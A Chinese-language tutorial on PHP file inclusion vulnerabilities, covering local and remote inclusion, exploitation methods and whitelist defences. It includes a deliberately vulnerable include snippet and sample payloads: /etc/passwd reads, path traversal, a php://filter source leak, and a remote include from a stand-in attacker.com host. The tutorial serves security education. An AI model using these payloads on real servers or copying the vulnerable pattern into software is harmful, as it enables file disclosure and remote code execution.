文章目录
- 文件包含漏洞的类型
- 本地文件包含
- 远程文件包含
- 利用方法
- 路径遍历
- 伪协议
- 日志文件注入
- 防御方法
PHP 文件包含漏洞(File Inclusion Vulnerability)是一种常见的 Web 安全漏洞,发生在用户对 PHP 文件包含函数(如 include、require、include_once、require_once)的输入缺乏过滤和验证时。攻击者可以利用这个漏洞来包含服务器上任意文件,甚至是远程文件(如果服务器允许),从而获取敏感信息或执行任意代码。
文件包含漏洞的类型
本地文件包含
攻击者可以通过在输入中加入服务器上的文件路径,强行包含本地文件,从而读取敏感文件的内容。
<?php
$file = $_GET['file'];
include($file); // 没有对 $file 做任何检查
?>
如果用户输入 ?file=/etc/passwd,服务器可能会包含该文件,导致文件内容暴露。
远程文件包含
如果服务器配置允许 allow_url_include,攻击者可以包含远程文件。远程文件可以是攻击者自己创建的恶意脚本。
<?php
$file = $_GET['file'];
include($file);
?>
输入 ?file=http://attacker.com/malicious.php 可以让服务器执行远程脚本内容。
利用方法
路径遍历
路径遍历可以用来访问服务器上的敏感文件。
?file=../../../../etc/passwd
伪协议
利用 PHP 本身支持的伪协议,将其他格式的内容转换为 PHP 代码。
例如,可以使用 php://filter 读取文件源码:
?file=php://filter/convert.base64-encode/resource=index.php
日志文件注入
如果攻击者能够将数据写入服务器的日志文件(例如通过访问带有特殊 User-Agent 的页面),可以利用包含漏洞读取该日志文件,执行其中的恶意代码。
防御方法
-
严格控制文件路径:如果确实需要动态包含文件,确保输入仅包含在特定的安全目录中。
-
白名单机制:限定允许包含的文件列表,拒绝不在白名单中的文件。
-
禁用 allow_url_include:在服务器配置中将 allow_url_include 设置为 Off,以防止远程文件包含。
-
编码检查和清理:对输入进行严格的编码检查,避免通过 URL 编码、特殊字符等方式绕过过滤。
-
避免使用用户输入直接控制文件包含:如果可以,尽量避免直接包含用户控制的文件路径,将路径硬编码在程序中。
示例防御代码
<?php
$whitelist = ['about.php', 'contact.php'];
$file = $_GET['file'];
if (in_array($file, $whitelist)) {include($file);
} else {echo "Invalid file!";
}
?>
这种白名单方法确保只有指定的文件才能被包含,降低了文件包含漏洞的风险。